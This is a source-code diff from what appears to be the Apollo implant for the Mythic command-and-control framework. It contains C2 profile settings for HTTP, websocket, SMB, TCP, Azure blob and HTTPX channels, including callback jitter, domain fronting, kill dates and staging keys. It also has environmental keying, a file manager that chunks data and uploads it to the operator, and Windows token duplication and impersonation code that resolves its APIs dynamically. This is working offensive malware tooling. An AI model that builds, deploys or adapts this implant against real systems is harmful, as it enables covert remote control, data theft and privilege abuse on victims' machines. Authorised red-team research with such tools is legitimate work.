{ "USER_AGENT", "Apollo-Refactor" },
#else
{ "callback_interval", "http_callback_interval_here" },
{ "callback_jitter", "http_callback_jitter_here" },
{ "callback_port", "http_callback_port_here" },
{ "callback_host", "http_callback_host_here" },
{ "post_uri", "http_post_uri_here" },
{ "encrypted_exchange_check", "http_encrypted_exchange_check_here" },
{ "proxy_host", "http_proxy_host_here" },
{ "proxy_port", "http_proxy_port_here" },
{ "proxy_user", "http_proxy_user_here" },
{ "proxy_pass", "http_proxy_pass_here" },
{ "killdate", "http_killdate_here" },
HTTP_ADDITIONAL_HEADERS_HERE
#endif
}
}
},
#endif
#if WEBSOCKET
{ "websocket", new C2ProfileData()
{
TC2Profile = typeof(WebsocketProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "tasking_type", "Push" },
{ "callback_interval", "5" },
{ "callback_jitter", "0" },
{ "callback_port", "8081" },
{ "callback_host", "ws://mythic" },
{ "ENDPOINT_REPLACE", "socket" },
{ "encrypted_exchange_check", "T" },
{ "domain_front", "domain_front" },
{ "killdate", "-1" },
{ "USER_AGENT", "Apollo-Refactor" },
#else
{ "tasking_type", "websocket_tasking_type_here"},
{ "callback_interval", "websocket_callback_interval_here" },
{ "callback_jitter", "websocket_callback_jitter_here" },
{ "callback_port", "websocket_callback_port_here" },
{ "callback_host", "websocket_callback_host_here" },
{ "ENDPOINT_REPLACE", "websocket_ENDPOINT_REPLACE_here" },
{ "encrypted_exchange_check", "websocket_encrypted_exchange_check_here" },
{ "domain_front", "websocket_domain_front_here" },
{ "USER_AGENT", "websocket_USER_AGENT_here" },
{ "killdate", "websocket_killdate_here" },
HTTP_ADDITIONAL_HEADERS_HERE
#endif
}
}
},
#endif
#if SMB
{ "smb", new C2ProfileData()
{
TC2Profile = typeof(NamedPipeProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "pipename", "h20iexte-2l1t-mmfu-ipjh-6ofmobkaruq8" },
{ "encrypted_exchange_check", "true" },
#else
{ "pipename", "smb_pipename_here" },
{ "encrypted_exchange_check", "smb_encrypted_exchange_check_here" },
#endif
}
}
},
#endif
#if TCP
{ "tcp", new C2ProfileData()
{
TC2Profile = typeof(TcpProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "port", "40000" },
{ "encrypted_exchange_check", "true" },
#else
{ "port", "tcp_port_here" },
{ "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" },
#endif
}
}
},
#endif
#if AZURE_BLOB
{ "azure_blob", new C2ProfileData()
{
TC2Profile = typeof(AzureBlobProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "blob_endpoint", "https://yourstorageaccount.blob.core.windows.net" },
{ "container_name", "agent-test12345ab" },
{ "sas_token", "your_test_sas_token_here" },
{ "callback_interval", "5" },
{ "callback_jitter", "10" },
{ "encrypted_exchange_check", "T" },
{ "killdate", "-1" },
{ "enable_certificate_check", "true" },
{ "proxy_host", "" },
{ "proxy_port", "" },
{ "proxy_user", "" },
{ "proxy_pass", "" },
#else
{ "blob_endpoint", "azure_blob_blob_endpoint_here" },
{ "container_name", "azure_blob_container_name_here" },
{ "sas_token", "azure_blob_sas_token_here" },
{ "callback_interval", "azure_blob_callback_interval_here" },
{ "callback_jitter", "azure_blob_callback_jitter_here" },
{ "encrypted_exchange_check", "azure_blob_encrypted_exchange_check_here" },
{ "killdate", "azure_blob_killdate_here" },
{ "enable_certificate_check", "azure_blob_enable_certificate_check_here" },
{ "proxy_host", "azure_blob_proxy_host_here" },
{ "proxy_port", "azure_blob_proxy_port_here" },
{ "proxy_user", "azure_blob_proxy_user_here" },
{ "proxy_pass", "azure_blob_proxy_pass_here" },
#endif
}
}
},
#endif
#if HTTPX
{ "httpx", new C2ProfileData()
{
TC2Profile = typeof(HttpxProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "callback_interval", "10" },
{ "callback_jitter", "23" },
{ "callback_domains", "https://example.com:443" },
{ "domain_rotation", "fail-over" },
{ "failover_threshold", "5" },
{ "encrypted_exchange_check", "true" },
{ "killdate", "-1" },
{ "raw_c2_config", "" },
#else
{ "callback_interval", "httpx_callback_interval_here" },
{ "callback_jitter", "httpx_callback_jitter_here" },
{ "callback_domains", "httpx_callback_domains_here" },
{ "domain_rotation", "httpx_domain_rotation_here" },
{ "failover_threshold", "httpx_failover_threshold_here" },
{ "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" },
{ "killdate", "httpx_killdate_here" },
{ "raw_c2_config", "httpx_raw_c2_config_here" },
{ "proxy_host", "httpx_proxy_host_here" },
{ "proxy_port", "httpx_proxy_port_here" },
{ "proxy_user", "httpx_proxy_user_here" },
{ "proxy_pass", "httpx_proxy_pass_here" },
{ "domain_front", "httpx_domain_front_here" },
{ "timeout", "httpx_timeout_here" },
#endif
}
}
},
#endif
};
public static Dictionary<string, C2ProfileData> IngressProfiles = new Dictionary<string, C2ProfileData>();
#if LOCAL_BUILD
#if HTTP
public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io=";
#elif WEBSOCKET
public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM=";
#elif SMB
public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc=";
#elif TCP
public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
#elif AZURE_BLOB
public static string StagingRSAPrivateKey = "R3BLdG9OZXdBenVyZUJsb2JQcm9maWxlS2V5MTIzNA==";
#elif HTTPX
public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o=";
#endif
#if HTTP
public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
#elif WEBSOCKET
public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2";
#elif SMB
public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
#elif TCP
public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
#elif AZURE_BLOB
public static string PayloadUUID = "d1eefaf1-99c7-1901-ded0-3fac2312abdc";
#elif HTTPX
public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3";
#endif
#else
public static string StagingRSAPrivateKey = "AESPSK_here";
public static string PayloadUUID = "payload_uuid_here";
#endif
#if LOCAL_BUILD
// Environmental Keying Configuration
public static bool KeyingEnabled = false;
public static int KeyingMethod = 1; // 1=Hostname, 2=Domain, 3=Registry
public static string KeyingValueHash = "keying_value_hash_here";
// Registry Keying Configuration
public static string RegistryPath = "registry_path_here";
public static string RegistryValue = "registry_value_here";
public static int RegistryComparison = 1; // 1=Matches, 2=Contains
#else
// Environmental Keying Configuration
public static bool KeyingEnabled = keying_enabled_here;
public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry
public static string KeyingValueHash = "keying_value_hash_here";
// Registry Keying Configuration
public static string RegistryPath = "registry_path_here";
public static string RegistryValue = "registry_value_here";
public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains
#endif
}
}
@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura IncludeDebugSymbols='false'>
</Costura>
</Weavers>
@@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>
@@ -0,0 +1,37 @@
using ApolloInterop.Interfaces;
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;
namespace Apollo.Management.C2
{
public class C2ProfileManager : ApolloInterop.Classes.C2ProfileManager
{
public C2ProfileManager(IAgent agent) : base(agent)
{
}
public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters)
{
#if HTTP
if (c2 == typeof(HttpProfile))
{
return new HttpProfile(parameters, serializer, Agent);
}
#endif
#if HTTPX
if (c2 == typeof(HttpxProfile))
{
return new HttpxProfile(parameters, serializer, Agent);
}
#endif
throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}");
}
}
}
@@ -0,0 +1,314 @@
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using ApolloInterop.Classes.Cryptography;
namespace Apollo.Management.Files
{
public sealed class FileManager : IFileManager
{
private int _chunkSize = 512000;
private IAgent _agent;
private IEncryptedFileStore _fileStore;
public FileManager(IAgent agent)
{
_agent = agent;
_fileStore = new EncryptedFileStore.EncryptedFileStore(
new ICryptographicRoutine[]
{
new AesRoutine(),
// In the future, we should allow composible encryption routines;
// however, due to how impersonation and DPAPI interact,
// we can't use DPAPI to encrypt files.
// new DpapiRoutine(System.Guid.NewGuid().ToByteArray()),
});
}
internal struct UploadMessageTracker
{
internal AutoResetEvent Complete;
internal ChunkedMessageStore<MythicTaskStatus> MessageStore;
internal byte[] Data;
private CancellationToken _ct;
internal bool error;
internal UploadMessageTracker(CancellationToken ct, bool initialState = false, ChunkedMessageStore<MythicTaskStatus> store = null, byte[] data = null)
{
_ct = ct;
Complete = new AutoResetEvent(initialState);
MessageStore = store == null ? new ChunkedMessageStore<MythicTaskStatus>() : store;
Data = data;
error = false;
}
internal void MarkError()
{
error = true;
}
}
// Annoyingly, we need a separate struct as Download task responses don't have
public class DownloadMessageTracker
{
public AutoResetEvent Complete = new AutoResetEvent(false);
public List<MythicTaskStatus> Statuses = new List<MythicTaskStatus>();
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> ChunkAdd;
public event EventHandler<ChunkMessageEventArgs<MythicTaskStatus>> AllChunksSent;
private CancellationToken _ct;
public int TotalChunks { get; private set; }
public string FilePath { get; private set; }
public string Hostname { get; private set; }
public int ChunkSize { get; private set; }
public byte[][] Chunks { get; private set; }
public int ChunksSent { get; private set; } = 0;
public string FileID = "";
private object _lock = new object();
public bool IsScreenshot { get; private set; }
internal DownloadMessageTracker(CancellationToken ct, byte[] data, int chunkSize, string filePath, string hostName = "", bool screenshot = false)
{
_ct = ct;
TotalChunks = (int)Math.Ceiling((double)data.Length / (double)chunkSize);
Chunks = new byte[TotalChunks][];
for(int i = 0; i < TotalChunks; i++)
{
Chunks[i] = data.Skip(i * chunkSize).Take(chunkSize).ToArray();
}
FilePath = filePath;
Hostname = hostName;
IsScreenshot = screenshot;
}
public void AddMessage(MythicTaskStatus t)
{
if (!string.IsNullOrEmpty(t.FileID) && string.IsNullOrEmpty(FileID))
{
FileID = t.FileID;
} else if (t.StatusMessage == "success")
{
ChunksSent += 1;
}
Statuses.Add(t);
if (ChunksSent == TotalChunks || t.StatusMessage == "error" || _ct.IsCancellationRequested)
{
AllChunksSent?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[] { t }));
Complete.Set();
} else
{
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<MythicTaskStatus>(new MythicTaskStatus[]{ t }));
}
}
}
private ConcurrentDictionary<string, UploadMessageTracker> _uploadMessageStore = new ConcurrentDictionary<string, UploadMessageTracker>();
private ConcurrentDictionary<string, DownloadMessageTracker> _downloadMessageStore = new ConcurrentDictionary<string, DownloadMessageTracker>();
public string[] GetPendingTransfers()
{
return _uploadMessageStore.Keys.Concat(_downloadMessageStore.Keys).ToArray();
}
public void ProcessResponse(MythicTaskStatus resp)
{
if (_uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
// This is an upload message response, send it along.
if (resp.ChunkNumber > 0 && _uploadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
_uploadMessageStore[resp.ApolloTrackerUUID].MessageStore.AddMessage(resp);
}
} else
{
if (_downloadMessageStore.ContainsKey(resp.ApolloTrackerUUID))
{
_downloadMessageStore[resp.ApolloTrackerUUID].AddMessage(resp);
}
}
}
private void FileManager_MessageComplete(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
List<byte> data = new List<byte>();
for(int i = 0; i < e.Chunks.Length; i++)
{
data.AddRange(Convert.FromBase64String(e.Chunks[i].ChunkData));
}
if (_uploadMessageStore.TryGetValue(e.Chunks[0].ApolloTrackerUUID, out UploadMessageTracker tracker))
{
tracker.Data = data.ToArray();
_uploadMessageStore[e.Chunks[0].ApolloTrackerUUID] = tracker;
tracker.Complete.Set();
}
}
public bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null)
{
string uuid = Guid.NewGuid().ToString();
lock (_downloadMessageStore)
{
if (string.IsNullOrEmpty(originatingHost))
{
originatingHost = Environment.GetEnvironmentVariable("COMPUTERNAME");
}
_downloadMessageStore[uuid] = new DownloadMessageTracker(ct, content, _chunkSize, originatingPath, originatingHost, isScreenshot);
_downloadMessageStore[uuid].ChunkAdd += DownloadChunkSent;
}
MythicTaskResponse resp = new MythicTaskResponse
{
TaskID = taskID,
Download = new DownloadMessage
{
TotalChunks = _downloadMessageStore[uuid].TotalChunks,
FullPath = originatingPath,
Hostname = originatingHost,
IsScreenshot = isScreenshot,
TaskID = taskID,
},
ApolloTrackerUUID = uuid
};
_agent.GetTaskManager()?.AddTaskResponseToQueue(resp);
WaitHandle.WaitAny(new WaitHandle[]
{
_downloadMessageStore[uuid].Complete,
ct.WaitHandle
});
_downloadMessageStore.TryRemove(uuid, out DownloadMessageTracker itemTracker);
mythicFileId = itemTracker.FileID;
return !ct.IsCancellationRequested && itemTracker.ChunksSent == itemTracker.TotalChunks;
}
public bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes)
{
string uuid = Guid.NewGuid().ToString();
lock(_uploadMessageStore)
{
if (!_uploadMessageStore.ContainsKey(taskID))
{
_uploadMessageStore[uuid] = new UploadMessageTracker(ct, false);
_uploadMessageStore[uuid].MessageStore.ChunkAdd += MessageStore_ChunkAdd;
_uploadMessageStore[uuid].MessageStore.MessageComplete += FileManager_MessageComplete;
}
}
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = taskID,
Status = $"Fetching File Chunk 1...",
Upload = new UploadMessage()
{
TaskID = taskID,
FileID = fileID,
ChunkNumber = 1,
ChunkSize = _chunkSize
},
ApolloTrackerUUID = uuid
});
WaitHandle.WaitAny(new WaitHandle[]
{
_uploadMessageStore[uuid].Complete,
ct.WaitHandle
});
bool bRet = false;
if (_uploadMessageStore[uuid].Data != null && !_uploadMessageStore[uuid].error)
{
fileBytes = _uploadMessageStore[uuid].Data;
bRet = true;
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = taskID,
Status = "Using file...",
});
} else
{
fileBytes = null;
bRet = false;
}
_uploadMessageStore.TryRemove(uuid, out UploadMessageTracker _);
return bRet;
}
private void MessageStore_ChunkAdd(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
MythicTaskStatus msg = e.Chunks[0];
if(msg.StatusMessage != "success")
{
_uploadMessageStore[msg.ApolloTrackerUUID].MarkError();
_uploadMessageStore[msg.ApolloTrackerUUID].Complete.Set();
return;
}
_agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse()
{
TaskID = msg.TaskID,
Status = $"Fetching File Chunk {msg.ChunkNumber + 1} / {msg.TotalChunks}",
Upload = new UploadMessage()
{
TaskID = msg.TaskID,
FileID = msg.FileID,
ChunkNumber = msg.ChunkNumber + 1,
ChunkSize = _chunkSize
},
ApolloTrackerUUID = msg.ApolloTrackerUUID
});
}
private void DownloadChunkSent(object sender, ChunkMessageEventArgs<MythicTaskStatus> e)
{
DownloadMessageTracker tracker = (DownloadMessageTracker)sender;
var msg = new MythicTaskResponse()
{
TaskID = e.Chunks[0].TaskID,
Status = $"Transferring chunk {tracker.ChunksSent + 1} / {e.Chunks[0].TotalChunks}",
Download = new DownloadMessage
{
ChunkNumber = tracker.ChunksSent + 1,
FileID = tracker.FileID,
ChunkData = Convert.ToBase64String(tracker.Chunks[tracker.ChunksSent]),
TaskID = e.Chunks[0].TaskID
},
ApolloTrackerUUID = e.Chunks[0].ApolloTrackerUUID
};
if(tracker.ChunksSent == 0){
msg.UserOutput = $"{{\"file_id\": \"{tracker.FileID}\"}}";
}
_agent.GetTaskManager().AddTaskResponseToQueue(msg);
}
public string GetScript()
{
return _fileStore.GetScript();
}
public void SetScript(string script)
{
_fileStore.SetScript(script);
}
public bool AddFileToStore(string keyName, byte[] data)
{
return _fileStore.TryAddOrUpdate(keyName, data);
}
public bool GetFileFromStore(string keyName, out byte[] data)
{
return _fileStore.TryGetValue(keyName, out data);
}
public void SetScript(byte[] script)
{
_fileStore.SetScript(script);
}
public string[] ListFiles()
{
return _fileStore.ListFiles();
}
public bool RemoveFile(string keyName)
{
return _fileStore.RemoveFile(keyName);
}
}
}
@@ -0,0 +1,470 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using static ApolloInterop.Constants.Win32;
using static ApolloInterop.Enums.Win32;
using static ApolloInterop.Structs.Win32;
namespace Apollo.Management.Identity;
public class IdentityManager : IIdentityManager
{
private readonly IAgent _agent;
private readonly object _identitySync = new();
private ApolloLogonInformation _userCredential;
private WindowsIdentity _originalIdentity;
private WindowsIdentity _currentPrimaryIdentity;
private WindowsIdentity _currentImpersonationIdentity;
private bool _isImpersonating;
private IntPtr _executingThread = IntPtr.Zero;
private IntPtr _originalImpersonationToken = IntPtr.Zero;
private IntPtr _originalPrimaryToken = IntPtr.Zero;
#region Delegate Typedefs
private delegate IntPtr GetCurrentThread();
private delegate bool OpenThreadToken(
IntPtr threadHandle,
uint desiredAccess,
bool openAsSelf,
out IntPtr tokenHandle);
private delegate bool OpenProcessToken(
IntPtr hProcess,
uint dwDesiredAccess,
out IntPtr hToken);
private delegate bool DuplicateTokenEx(
IntPtr hToken,
TokenAccessLevels dwDesiredAccess,
IntPtr lpTokenAttributes,
TokenImpersonationLevel impersonationLevel,
TokenType tokenType,
out IntPtr phNewToken);
private delegate bool SetThreadToken(
ref IntPtr hThread,
IntPtr hToken);
private delegate bool CloseHandle(IntPtr hHandle);
private delegate bool GetTokenInformation(
IntPtr tokenHandle,
TokenInformationClass tokenInformationClass,
IntPtr tokenInformation,
int tokenInformationLength,
out int returnLength);
private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid);
private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority);
[UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Unicode)]
private delegate bool LogonUserW(
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
LogonType dwLogonType,
LogonProvider dwLogonProvider,
out IntPtr phToken);
private readonly GetCurrentThread _GetCurrentThread;
private readonly OpenThreadToken _OpenThreadToken;
private readonly OpenProcessToken _OpenProcessToken;
private readonly DuplicateTokenEx _DuplicateTokenEx;
private readonly SetThreadToken _SetThreadToken;
private readonly CloseHandle _CloseHandle;
private readonly GetTokenInformation _GetTokenInformation;
private readonly GetSidSubAuthorityCount _GetSidSubAuthorityCount;
private readonly GetSidSubAuthority _GetSidSubAuthority;
private readonly LogonUserW _pLogonUserW;
#endregion
public IdentityManager(IAgent agent)
{
_agent = agent;
_GetCurrentThread = _agent.GetApi().GetLibraryFunction<GetCurrentThread>(Library.KERNEL32, "GetCurrentThread");
_OpenThreadToken = _agent.GetApi().GetLibraryFunction<OpenThreadToken>(Library.ADVAPI32, "OpenThreadToken");
_OpenProcessToken = _agent.GetApi().GetLibraryFunction<OpenProcessToken>(Library.ADVAPI32, "OpenProcessToken");
_DuplicateTokenEx = _agent.GetApi().GetLibraryFunction<DuplicateTokenEx>(Library.ADVAPI32, "DuplicateTokenEx");
_SetThreadToken = _agent.GetApi().GetLibraryFunction<SetThreadToken>(Library.ADVAPI32, "SetThreadToken");
_CloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
_GetTokenInformation = _agent.GetApi().GetLibraryFunction<GetTokenInformation>(Library.ADVAPI32, "GetTokenInformation");
_GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction<GetSidSubAuthorityCount>(Library.ADVAPI32, "GetSidSubAuthorityCount");
_GetSidSubAuthority = _agent.GetApi().GetLibraryFunction<GetSidSubAuthority>(Library.ADVAPI32, "GetSidSubAuthority");
_pLogonUserW = _agent.GetApi().GetLibraryFunction<LogonUserW>(Library.ADVAPI32, "LogonUserW");
_originalIdentity = WindowsIdentity.GetCurrent();
_currentPrimaryIdentity = _originalIdentity;
_currentImpersonationIdentity = _originalIdentity;
_isImpersonating = false;
_userCredential = new ApolloLogonInformation();
_executingThread = _GetCurrentThread();
SetImpersonationToken();
SetPrimaryToken();
}
private void SetPrimaryToken()
{
bool bRet = _OpenThreadToken(
_executingThread,
TOKEN_ALL_ACCESS,
true,
out _originalPrimaryToken);
int dwError = Marshal.GetLastWin32Error();
if (!bRet)
{
if (dwError == Error.ERROR_NO_TOKEN)
{
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out _originalPrimaryToken);
if (!bRet)
throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
}
else
{
throw new Exception($"Failed to open thread token: {dwError}");
}
}
if (_originalPrimaryToken == IntPtr.Zero)
_originalPrimaryToken = _originalIdentity.Token;
}
private void SetImpersonationToken()
{
bool bRet = _OpenThreadToken(
_executingThread,
TOKEN_ALL_ACCESS,
true,
out IntPtr hToken);
int dwError = Marshal.GetLastWin32Error();
if (!bRet)
{
if (dwError == Error.ERROR_NO_TOKEN)
{
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken);
if (!bRet)
throw new Exception($"Failed to acquire process token: {Marshal.GetLastWin32Error()}");
}
else
{
throw new Exception($"Failed to open thread token: {dwError}");
}
}
bRet = _DuplicateTokenEx(
hToken,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out _originalImpersonationToken);
_CloseHandle(hToken);
if (!bRet)
throw new Exception($"Failed to duplicate impersonation token: {Marshal.GetLastWin32Error()}");
if (_originalImpersonationToken == IntPtr.Zero)
_originalImpersonationToken = _originalIdentity.Token;
}
private void RevertInternal()
{
if (!_SetThreadToken(ref _executingThread, _originalImpersonationToken))
{
DebugHelp.DebugWriteLine($"[!] Revert() failed to restore thread token: {Marshal.GetLastWin32Error()}");
}
_userCredential = new ApolloLogonInformation();
_currentImpersonationIdentity = _originalIdentity;
_currentPrimaryIdentity = _originalIdentity;
_isImpersonating = false;
}
public bool IsOriginalIdentity()
{
lock (_identitySync)
{
return !_isImpersonating;
}
}
